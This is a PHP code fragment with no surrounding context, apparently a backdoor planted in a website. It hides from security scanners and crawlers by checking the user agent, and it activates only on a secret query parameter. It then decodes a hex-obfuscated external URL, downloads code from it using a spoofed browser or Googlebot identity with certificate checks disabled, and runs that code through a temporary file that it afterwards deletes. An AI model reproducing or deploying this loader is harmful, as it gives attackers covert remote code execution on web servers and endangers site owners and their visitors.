$triggerKey = 'nude';
$triggerVal = 'retation';

$blockedAgents = ['Wordfence', 'WAF', 'ScannerBot', 'curl', 'bot', 'spider', 'crawler'];
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
foreach ($blockedAgents as $agent) {
    if (stripos($ua, $agent) !== false) exit;
}
if (isset($_GET[$triggerKey]) && $_GET[$triggerKey] === $triggerVal) {

    error_reporting(0);
    @ini_set('display_errors', 0);

    $hex = '68747470733A2F2F612D63346D2E70616765732E6465762F612E747874';

    function hx($h)
    {
        $s = '';
        for ($i = 0; $i < strlen($h) - 1; $i += 2) {
            $s .= chr(hexdec($h[$i] . $h[$i + 1]));
        }
        return $s;
    }

    function getC($u)
    {
        $uas = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/115.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15",
            "Mozilla/5.0 (X11; Linux x86_64) Chrome/114.0",
            "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
        ];
        $ua = $uas[array_rand($uas)];

        if (ini_get('allow_url_fopen')) {
            $ctx = stream_context_create([
                "http" => [
                    "method" => "GET",
                    "header" => "User-Agent: $ua\r\n",
                    "timeout" => 5,
                    "ignore_errors" => true
                ]
            ]);
            $d = @file_get_contents($u, false, $ctx);
            if ($d !== false) return $d;
        }

        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $u);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_USERAGENT, $ua);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            $d = curl_exec($ch);
            curl_close($ch);
            if ($d !== false) return $d;
        }

        return false;
    }

    class H
    {
        private $s;
        public function set($s)
        {
            $this->s = $s;
        }
        public function get()
        {
            $t = $this->s;
            $this->s = null;
            return $t;
        }
    }

    $u = hx($hex);
    $d = getC($u);
    if ($d === false) exit;

    $h = new H();
    $h->set($d);

    $f = tempnam(sys_get_temp_dir(), 'tmp_');
    if (!$f) exit;

    if (file_put_contents($f, $h->get()) === false) {
        unlink($f);
        exit;
    }

    include $f;
    unlink($f);
    exit;
}